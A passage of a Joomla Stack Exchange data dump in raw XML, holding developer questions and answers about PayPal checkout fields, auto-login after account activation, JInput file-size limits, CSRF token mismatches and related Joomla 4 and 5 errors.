href=&quot;https://i.stack.imgur.com/tKqoq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tKqoq.png&quot; alt=&quot;Plugin general information&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Configuration:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CsLW4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CsLW4.png&quot; alt=&quot;Plugin Configurations (1)&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/cFeHu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cFeHu.png&quot; alt=&quot;Plugin Configurations (2)&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Within the errors we found, there was a debug message saying, “Paypal Hosted Fields Not eligible,” but we got confirmation that the account was approved for these fields.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OuSlL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OuSlL.png&quot; alt=&quot;Code where the debug is printed&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We would appreciate any help with this issue.&lt;/p&gt;&#xA;&lt;p&gt;I appreciate any help you can provide.&lt;/p&gt;&#xA;" OwnerUserId="17487" LastEditorUserId="17487" LastEditDate="2023-11-21T21:15:48.900" LastActivityDate="2023-11-21T21:15:48.900" Title="VirtueMart PayPal Checkout Advanced Credit Card form is incomplete" Tags="|joomla-4.x|virtuemart|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33492" PostTypeId="2" ParentId="33303" CreationDate="2023-11-22T12:23:40.583" Score="1" Body="&lt;p&gt;I do not know of any plugin that does it, but one can implement it as follows:&lt;/p&gt;&#xA;&lt;h1&gt;1. Have a plugin&lt;/h1&gt;&#xA;&lt;p&gt;Make sure you have a plugin, which looks like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class YourPlugin extends JPlugin {&#xA;    //...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;2. Have a flag that will determine whether log in is needed:&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;    /**&#xA;    * Boolean user in order to determine whether we need to log in with this plugin&#xA;    *&#xA;    * @var boolean&#xA;    */&#xA;    protected $toLoginUser = false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The reason for this is that before we save the user, we acknowledge based on the old user data that it indeed needs to end with a log in, so after save we can actually trigger the login.&lt;/p&gt;&#xA;&lt;h1&gt;3. onUserBeforeSave&lt;/h1&gt;&#xA;&lt;p&gt;Determine whether we need to log in and if so, set the flag to true:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    public function onUserBeforeSave($oldUser, $isnew, $newUser)&#xA;    {&#xA;        //...&#xA;        /**&#xA;         * We load the user and save it into a variable so the criteria that decides whether we need to log in will be easier to grasp&#xA;         */&#xA;        $user = JFactory::getUser();&#xA;        /**&#xA;         * We determine whether we need to log in with a user:&#xA;         * - nobody is logged in right now&#xA;         * - the user was blocked and is being unblocked&#xA;         * - the user has an activation token which will be removed&#xA;         * - the activation token of the user matches the value of the &amp;quot;token&amp;quot; GET parameter&#xA;         */&#xA;        if (&#xA;            (!$user-&amp;gt;id) &amp;amp;&amp;amp;&#xA;            ($oldUser[&amp;quot;block&amp;quot;] == 1) &amp;amp;&amp;amp; ($newUser[&amp;quot;block&amp;quot;] == 0) &amp;amp;&amp;amp;&#xA;            (!empty($oldUser[&amp;quot;activation&amp;quot;])) &amp;amp;&amp;amp; empty($newUser[&amp;quot;activation&amp;quot;]) &amp;amp;&amp;amp;&#xA;            ($oldUser[&amp;quot;activation&amp;quot;] === Factory::getApplication()-&amp;gt;input-&amp;gt;get(&amp;quot;token&amp;quot;, null))&#xA;        ) {&#xA;            $this-&amp;gt;toLoginUser = true;&#xA;        }&#xA;        return true;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;4. onUserAfterSave&lt;/h1&gt;&#xA;&lt;p&gt;After saving the user, do the actual log in&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    public function onUserAfterSave($user, $isnew, $success, $msg)&#xA;    {&#xA;        //...&#xA;        //If we need to log in, then we log in :)&#xA;        if ($this-&amp;gt;toLoginUser) {&#xA;            //We define the options to be passed&#xA;            $options = [&#xA;                &amp;quot;remember&amp;quot; =&amp;gt; false,&#xA;                &amp;quot;return&amp;quot; =&amp;gt; &amp;quot;your/url/here&amp;quot;,&#xA;                &amp;quot;entry_url&amp;quot; =&amp;gt; JURI::base() . &amp;quot;/index.php?option=com_users&amp;amp;task=user.login&amp;quot;,&#xA;                &amp;quot;action&amp;quot; =&amp;gt; &amp;quot;core.login.site&amp;quot;&#xA;            ];&#xA;            //and create an AuthenticationResponse object with the correct credentials&#xA;            $ar = new AuthenticationResponse();&#xA;            $ar-&amp;gt;status = 1;&#xA;            $ar-&amp;gt;type = &amp;quot;Joomla&amp;quot;;&#xA;            $ar-&amp;gt;error_message = &amp;quot;&amp;quot;;&#xA;            $ar-&amp;gt;username = $user[&amp;quot;username&amp;quot;];&#xA;            $ar-&amp;gt;email = $user[&amp;quot;email&amp;quot;];&#xA;            $ar-&amp;gt;fullname = $user[&amp;quot;name&amp;quot;];&#xA;            //This is the actual login, with the correct AuthenticationResponse and options&#xA;            JFactory::getApplication()-&amp;gt;triggerEvent('onUserLogin', [(array) $ar, $options]);&#xA;        }&#xA;        //...&#xA;        return true;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that you will also need to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Authentication\AuthenticationResponse;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17257" LastActivityDate="2023-11-22T12:23:40.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33493" PostTypeId="1" CreationDate="2023-11-22T20:41:27.480" Score="1" ViewCount="32" Body="&lt;p&gt;Here's one that is driving me crazy:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP memory_limit: 512M&lt;/li&gt;&#xA;&lt;li&gt;PHP post_max_size: 256M&lt;/li&gt;&#xA;&lt;li&gt;PHP upload_max_filesize: 128M&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&#xA;$app = Factory::getApplication();&#xA;dd($app-&gt;getInput()-&gt;files-&gt;get('jform'));&#xA;&lt;/pre&gt;&#xA;&lt;p&gt;Returns:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;relevant data if upload a 32M .pdf file&lt;/li&gt;&#xA;&lt;li&gt;null if I upload a 62M .pdf file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Any tips on why is this happening?&#xA;Does &lt;pre&gt;$app-&amp;gt;getInput()-&amp;gt;files&lt;/pre&gt; has any limit of max file size that supersedes PHP directives?&lt;/p&gt;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2023-11-23T06:45:14.013" Title="Does Jinput has a limit of max file size that supersedes PHP directives?" Tags="|joomla-4.x|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33494" PostTypeId="2" ParentId="33493" CreationDate="2023-11-22T22:29:16.897" Score="2" Body="&lt;p&gt;This is just one of Joomla frustrating:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;works ok for small files, returns null on large files:&lt;/strong&gt;&lt;pre&gt;$app-&amp;gt;getInput()-&amp;gt;files-&amp;gt;get('jform')&lt;/pre&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;works ok for both small and large files:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;$app-&gt;getInput()-&gt;files-&gt;getArray()['jform']&lt;/pre&gt;&#xA;&lt;p&gt;And just for clarification: it ALWAYS works if I use $_FILES instead for $app-&amp;gt;getInput()&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2023-11-22T22:29:16.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33495" PostTypeId="2" ParentId="33489" CreationDate="2023-11-22T23:12:45.027" Score="1" Body="&lt;p&gt;In your Joomla 3 example you are checking for the existence and contents of a specific property, value, in the &amp;amp;media array.&lt;/p&gt;&#xA;&lt;p&gt;In your Joomla 4 example you are checking for the existence and content of the whole object $media, not just a single property, therefore the condition is always going to be true. Yes $media exists and yes it is not empty.&lt;/p&gt;&#xA;&lt;p&gt;However even though the value attribute has a space stored, your condition &lt;code&gt;!empty($media)&lt;/code&gt; will always be true because the $media has all these other aspects of the object stored in it.&lt;/p&gt;&#xA;&lt;p&gt;You should refine your condition to something like &lt;code&gt;!empty($media-&amp;gt;value)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Your code would look like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(isset($media) &amp;amp;&amp;amp; !empty($media-&amp;gt;value)) : ?&amp;gt;&#xA;  &amp;lt;!-- Media custom field output --&amp;gt;&#xA;  &amp;lt;div class=&amp;quot;media-block&amp;quot;&amp;gt;&#xA;    &amp;lt;?php echo $media; ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;!-- Media custom field output --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php var_dump($media); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-11-23T22:49:52.437" LastActivityDate="2023-11-23T22:49:52.437" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33496" PostTypeId="2" ParentId="33493" CreationDate="2023-11-23T06:45:14.013" Score="3" Body="&lt;p&gt;It could be because the file is detected as unsafe by file filter in Joomla. Unfortunately, the file filter is prone to false-positives which is most likely what's happening in your case. If you have your own way of ensuring safety of the file, you can bypass Joomla's filter by setting the filter argument to &lt;code&gt;RAW&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;getInput()-&amp;gt;files-&amp;gt;get('jform', null, 'RAW')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-11-23T06:45:14.013" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33497" PostTypeId="1" CreationDate="2023-11-23T12:31:34.937" Score="0" ViewCount="33" Body="&lt;p&gt;As title states, I need to setup Joomla on my local machine for testing, and want to use Postfix to debug mails that are sent. Any links or tips are welcome.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2023-11-23T16:54:59.377" Title="How do I setup Joomla to use Postfix on a local machine?" Tags="|emails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33498" PostTypeId="2" ParentId="33497" CreationDate="2023-11-23T16:54:59.377" Score="2" Body="&lt;p&gt;You might look into mail catch solutions like:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mailhog &lt;a href=&quot;https://github.com/mailhog/MailHog&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mailhog/MailHog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;MailCatcher &lt;a href=&quot;https://github.com/sj26/mailcatcher&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/sj26/mailcatcher&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Mailpit &lt;a href=&quot;https://github.com/axllent/mailpit&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/axllent/mailpit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;From that list I only have experience with MailHog. When I need to catch the outgoing mail from a local Joomla website, I just start up a docker container with MailHog.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2023-11-23T16:54:59.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33499" PostTypeId="2" ParentId="33489" CreationDate="2023-11-24T05:56:09.763" Score="0" Body="&lt;p&gt;In your Joomla 3 example you are checking for the existence and contents of a specific property, value, in the &amp;amp;media array.&lt;/p&gt;&#xA;&lt;p&gt;In your Joomla 4 example you are checking for the existence and content of the whole object $media, not just a single property, therefore the condition is always going to be true. Yes $media exists and yes it is not empty.&lt;/p&gt;&#xA;&lt;p&gt;However even though the value attribute has a space stored, your condition !empty($media) will always be true because the $media has all these other aspects of the object stored in it.&lt;/p&gt;&#xA;&lt;p&gt;You should refine your condition to something like !empty($media-&amp;gt;value)&lt;/p&gt;&#xA;&lt;p&gt;Your code would look like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(isset($media) &amp;amp;&amp;amp; !empty($media-&amp;gt;value)) : ?&amp;gt;&#xA;  &amp;lt;!-- Media custom field output --&amp;gt;&#xA;  &amp;lt;div class=&amp;quot;media-block&amp;quot;&amp;gt;&#xA;    &amp;lt;?php echo $media; ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;!-- Media custom field output --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php var_dump($media); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15752" LastActivityDate="2023-11-24T05:56:09.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33500" PostTypeId="2" ParentId="31635" CreationDate="2023-11-24T06:02:01.443" Score="0" Body="&lt;ol&gt;&lt;li&gt;Make sure you are running the latest Joomla 3.10.x version before proceeding.&lt;/li&gt;&#xA;&lt;li&gt;Take a backup of your live 3.10.x site. You can use a suggested tool (see the &lt;i&gt;Suggested Tools&lt;/i&gt; at the bottom of page) or you can do this manually.&#xA;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;/Special:MyLanguage/Backup_Basics_for_a_Joomla!_Web_Site&quot; title=&quot;Special:MyLanguage/Backup Basics for a Joomla! Web Site&quot;&gt;Backup Basics for a Joomla! Web Site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;/Special:MyLanguage/What_are_the_best_practices_for_site_backups%3F&quot; title=&quot;Special:MyLanguage/What are the best practices for site backups?&quot;&gt;What are the best practices for site backups?&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure your environment meets the technical requirements for Joomla 4.&lt;/li&gt;&#xA;&lt;li&gt;Create a new database and new user to restore your 3.10.x site to.&lt;/li&gt;&#xA;&lt;li&gt;Create a testing site or build area to work in and restore the backup copy of your 3.10.x site in one of the following places:&#xA;&lt;ul&gt;&lt;li&gt;A subdomain.&lt;/li&gt;&#xA;&lt;li&gt;A subdirectory.&lt;/li&gt;&#xA;&lt;li&gt;A local device. Joomla has a detailed tutorial on installing XAMPP at &lt;a href=&quot;/XAMPP&quot; title=&quot;XAMPP&quot;&gt;XAMPP&lt;/a&gt;. However WAMP, MAMP, LAMP are all suitable alternatives.&lt;/li&gt;&#xA;&lt;li&gt;A new hosting account on a temporary domain in the root. (If you would like to change hosts in the process of migration.)&#xA;&lt;ul&gt;&lt;li&gt;Restoring a site on a local device. See &lt;a href=&quot;/Special:MyLanguage/Installing_Joomla_locally&quot; title=&quot;Special:MyLanguage/Installing Joomla locally&quot;&gt;Installing Joomla locally&lt;/a&gt; and &lt;a href=&quot;/Special:MyLanguage/Setting_up_your_workstation_for_Joomla_development&quot; title=&quot;Special:MyLanguage/Setting up your workstation for Joomla development&quot;&gt;Setting up your workstation for Joomla development&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Restoring a site with a tool listed at the bottom of the page. (Read the developer documentation.)&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;In your test location, update your Joomla! 3.10.x instance to the latest maintenance release.&lt;/li&gt;&#xA;&lt;li&gt;Make sure you have the latest database schema updated to the latest version 3.10.x version by going to &lt;b&gt;Extension Manager&amp;nbsp;&lt;/b&gt;→&lt;b&gt;&amp;nbsp;Database&lt;/b&gt; tab. If your schema is not up to date as in the following image, click the &lt;b&gt;Fix&lt;/b&gt; button:&lt;/li&gt;&#xA;&lt;li&gt;Empty trash: Do you have any articles in the trash? Delete them (and any associated media if not in use elsewhere on the site). Articles (categories and menu items too) left in the trash can cause migration issues.&lt;/li&gt;&#xA;&lt;li&gt;Test.&lt;/li&gt;&#xA;&lt;li&gt;Backup again.&lt;/li&gt;&lt;/ol&gt;&#xA;" OwnerUserId="15752" LastActivityDate="2023-11-24T06:02:01.443" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33501" PostTypeId="1" AcceptedAnswerId="33503" CreationDate="2023-11-24T11:51:05.857" Score="1" ViewCount="91" Body="&lt;p&gt;I've implemented a custom form directly within my Joomla article template's code. The form is processed by a handler located in my template. Everything worked fine until I decided to add a CSRF token to enhance security.&lt;/p&gt;&#xA;&lt;p&gt;Here's how I'm inserting the token into the form within&#xA;&lt;strong&gt;/templates/mytemplate/html/com_content/article/default.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo HTMLHelper::_('form.token'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this is how I'm processing it in my handler at &lt;strong&gt;/templates/mytemplate/bookingHandler.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Mail\Mail;&#xA;use Joomla\CMS\Session\Session;&#xA;&#xA;// Include Joomla Framework&#xA;define('JPATH_BASE', realpath(dirname(__FILE__) . '/../../'));&#xA;require JPATH_BASE . '/includes/defines.php';&#xA;require JPATH_BASE . '/includes/framework.php';&#xA;&#xA;// Boot the DI container&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;&#xA;// Alias the session service key to the web session service&#xA;$container-&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;// Get the application&#xA;$app = $container-&amp;gt;get(\Joomla\CMS\Application\AdministratorApplication::class);&#xA;&#xA;// Retrieve form data&#xA;$data = $_POST;&#xA;&#xA;if (!Session::checkToken()) {&#xA;    header('Content-Type: application/json');&#xA;    echo json_encode([&#xA;        'success' =&amp;gt; false,&#xA;        'message' =&amp;gt; 'CSRF Token verification failed!',&#xA;        'debug' =&amp;gt; [&#xA;            'receivedTokenName' =&amp;gt; array_keys($_POST)[0],&#xA;            'receivedTokenValue' =&amp;gt; $_POST[array_keys($_POST)[0]],&#xA;            'sessionData' =&amp;gt; $_SESSION &#xA;        ]&#xA;    ]);&#xA;    exit;&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, when submitting the form, I receive the following response in the console:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &amp;quot;success&amp;quot;: false,&#xA;    &amp;quot;message&amp;quot;: &amp;quot;CSRF Token verification failed!&amp;quot;,&#xA;    &amp;quot;debug&amp;quot;: {&#xA;        &amp;quot;receivedTokenName&amp;quot;: &amp;quot;5b9152ef2b44a22fa5e7a8f9e885c702&amp;quot;,&#xA;        &amp;quot;receivedTokenValue&amp;quot;: &amp;quot;1&amp;quot;,&#xA;        &amp;quot;sessionData&amp;quot;: &amp;quot;TzoyNDoiSm9vbWxhXFJlZ2lzdHJ5XFJlZ2lzdHJ5IjozOntzOjc6IgAqAGRhdGEiO086ODoic3RkQ2xhc3MiOjU6e3M6Nzoic2Vzc2lvbiI7Tzo4OiJzdGRDbGFzcyI6Mzp7czo3OiJjb3VudGVyIjtpOjE4O3M6NToidGltZXIiO086ODoic3RkQ2xhc3MiOjM6e3M6NToic3RhcnQiO2k6MTcwMDgxNDE4NztzOjQ6Imxhc3QiO2k6MTcwMDgyMTk0MTtzOjM6Im5vdyI7aToxNzAwODIyMzc3O31zOjU6InRva2VuIjtzOjMyOiJlZTUxMGQ1Nzc3YTI0ZWI0ZDI3ZGM4MWI4NDFhMDFiNSI7fXM6ODoicmVnaXN0cnkiO086MjQ6Ikpvb21sYVxSZWdpc3RyeVxSZWdpc3RyeSI6Mzp7czo3OiIAKgBkYXRhIjtPOjg6InN0ZENsYXNzIjowOnt9czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MDtzOjEyOiIAKgBzZXBhcmF0b3IiO3M6MToiLiI7fXM6NDoidXNlciI7TzoyMDoiSm9vbWxhXENNU1xVc2VyXFVzZXIiOjE6e3M6MjoiaWQiO2k6MzY7fXM6MTk6InBsZ19zeXN0ZW1fd2ViYXV0aG4iO086ODoic3RkQ2xhc3MiOjE6e3M6OToicmV0dXJuVXJsIjtzOjUwOiJodHRwczovL3Rlc3QuY2FodWxhY3Rpdi5tZC9hZG1pbmlzdHJhdG9yL2luZGV4LnBocCI7fXM6OToiY29tX3VzZXJzIjtPOjg6InN0ZENsYXNzIjoxOntzOjExOiJtZmFfY2hlY2tlZCI7aToxO319czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MDtzOjEyOiIAKgBzZXBhcmF0b3IiO3M6MToiLiI7fQ==&amp;quot;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;ChatGPT's analysis suggested a discrepancy between the token sent from the form and the token stored in the session, hinting at potentially different user sessions between the form submission and the handler.&lt;/p&gt;&#xA;&lt;p&gt;Why might these tokens be different, and how can I ensure the user session and the handler session are the same? Could there be a misconfiguration in how my Joomla application is bootstrapped or how sessions are handled?&lt;/p&gt;&#xA;" OwnerUserId="12481" LastActivityDate="2023-11-25T08:28:41.010" Title="CSRF Token Mismatch Issue in Joomla 4 Custom Form Submission" Tags="|joomla-4.x|session|security-token|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33502" PostTypeId="1" CreationDate="2023-11-24T15:48:31.807" Score="0" ViewCount="28" Body="&lt;p&gt;When I try to create an admin menu item in Joomla 5 (I imagine the same will apply to Joomla 4), I get this error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;An error has occurred.&#xA;0 strlen(): Argument #1 ($string) must be of type string, array given &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I see this issue has been reported &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=995445&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/39758&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. In those cases the error was coming from the OSMap extension. I don't have that extension installed, but I am still getting the error.&lt;/p&gt;&#xA;&lt;p&gt;I am using Joomla 5.0.0 with PHP 8.1.24.&lt;/p&gt;&#xA;&lt;p&gt;I would be grateful for guidance on how to solve the problem.&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&lt;p&gt;Update:&#xA;Here is the debugging information:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#   Function    Location&#xA;1   ()  JROOT/administrator/components/com_menus/src/Model/MenutypesModel.php:414&#xA;2   strlen()     &#xA;3   array_filter()  JROOT/administrator/components/com_menus/src/Model/MenutypesModel.php:414&#xA;4   Joomla\Component\Menus\Administrator\Model\MenutypesModel-&amp;gt;getTypeOptionsFromManifest()     JROOT/administrator/components/com_menus/src/Model/MenutypesModel.php:175&#xA;5   Joomla\Component\Menus\Administrator\Model\MenutypesModel-&amp;gt;getTypeOptionsByComponent()  JROOT/administrator/components/com_menus/src/Model/MenutypesModel.php:109&#xA;6   Joomla\Component\Menus\Administrator\Model\MenutypesModel-&amp;gt;getTypeOptions()     JROOT/libraries/src/MVC/View/AbstractView.php:159&#xA;7   Joomla\CMS\MVC\View\AbstractView-&amp;gt;get()     JROOT/administrator/components/com_menus/src/View/Menutypes/HtmlView.php:62&#xA;8   Joomla\Component\Menus\Administrator\View\Menutypes\HtmlView-&amp;gt;display()     JROOT/libraries/src/MVC/Controller/BaseController.php:697&#xA;9   Joomla\CMS\MVC\Controller\BaseController-&amp;gt;display()     JROOT/administrator/components/com_menus/src/Controller/DisplayController.php:74&#xA;10  Joomla\Component\Menus\Administrator\Controller\DisplayController-&amp;gt;display()    JROOT/libraries/src/MVC/Controller/BaseController.php:730&#xA;11  Joomla\CMS\MVC\Controller\BaseController-&amp;gt;execute()     JROOT/libraries/src/Dispatcher/ComponentDispatcher.php:143&#xA;12  Joomla\CMS\Dispatcher\ComponentDispatcher-&amp;gt;dispatch()   JROOT/libraries/src/Component/ComponentHelper.php:361&#xA;13  Joomla\CMS\Component\ComponentHelper::renderComponent()     JROOT/libraries/src/Application/AdministratorApplication.php:150&#xA;14  Joomla\CMS\Application\AdministratorApplication-&amp;gt;dispatch()     JROOT/libraries/src/Application/AdministratorApplication.php:195&#xA;15  Joomla\CMS\Application\AdministratorApplication-&amp;gt;doExecute()    JROOT/libraries/src/Application/CMSApplication.php:306&#xA;16  Joomla\CMS\Application\CMSApplication-&amp;gt;execute()    JROOT/administrator/includes/app.php:58&#xA;17  require_once()  JROOT/administrator/index.php:32 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17199" LastEditorUserId="17199" LastEditDate="2023-11-25T02:20:09.233" LastActivityDate="2023-11-25T02:20:09.233" Title="PHP type error on creating admin menu item" Tags="|administrator|menu-item|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33503" PostTypeId="2" ParentId="33501" CreationDate="2023-11-25T08:28:41.010" Score="0" Body="&lt;p&gt;You appear to be placing the token into an Article in the front-end Joomla Application, Site, but your &lt;code&gt;bookingHandler.php&lt;/code&gt; is creating a backend or Administrator instance of Joomla with this line.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Get the application&#xA;$app = $container-&amp;gt;get(\Joomla\CMS\Application\AdministratorApplication::class);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I would suggest changing the above to create a Site application.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Get the application&#xA;$app = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You may also not be picking up the correct session details, these are what I use based on the core Joomla 4 files for the SiteApplication.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$container-&amp;gt;alias('session.web', 'session.web.site')&#xA;    -&amp;gt;alias('JSession', 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-11-25T08:28:41.010" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33504" PostTypeId="1" AcceptedAnswerId="33505" CreationDate="2023-11-25T09:50:56.507" Score="0" ViewCount="51" Body="&lt;p&gt;I have here a really curious issue in Joomla 5.0.0 on a custom component I'm building right now. In one of the views i cannot save edits on existing elements (create new elements is not an issue at all). Additionally I'm facing this issue only on the PreProd (Shared Hoster Environment with the same config the prod will have).&#xA;When trying to save an edited element i get the error&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Save failed with the following error: Prepared statement needs to be re-prepared&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've tried already with PHP 8.2 / 8.1&lt;/p&gt;&#xA;&lt;p&gt;DB Version on host is:  8.0.35-0ubuntu0.20.04.1&lt;/p&gt;&#xA;&lt;p&gt;There are no issues when trying to edit &amp;amp; save other views inside the same component to be honest the related view with this issue is the most complex one. But as far as i can see there are no bindings at all.&lt;/p&gt;&#xA;&lt;p&gt;Here you will find the Branch to this extension:&#xA;&lt;a href=&quot;https://github.com/marcorensch/Joomla_com_Marathon_Manager_2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/marcorensch/Joomla_com_Marathon_Manager_2&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The view with the issues is the &amp;quot;event&amp;quot; view aswell as the &amp;quot;events&amp;quot; view &amp;gt; you cannot change the publishing status of an event in the events view.&lt;/p&gt;&#xA;&lt;p&gt;On my Dev Machine it runs great using Joomla 4.4.0 php 8.2 and MySQL 5.7.39&lt;/p&gt;&#xA;&lt;p&gt;Can someone may direct me into the right direction what went wrong here while saving / updating an existing Event Element? Can I improve my codebase because default Joomla elements and other element types of this extension works well...&lt;/p&gt;&#xA;&lt;p&gt;thanks in advance.&lt;/p&gt;&#xA;&lt;p&gt;Edit:&#xA;Tested now in my local environment on MySQL 8.0.34 and PHP 8.2 with Joomla 5 &amp;gt; no issue&lt;/p&gt;&#xA;&lt;p&gt;Sidenote: if you try to install this extension to do a test, AcyMailing Enterprise is required to be installed...&lt;/p&gt;&#xA;" OwnerUserId="9407" 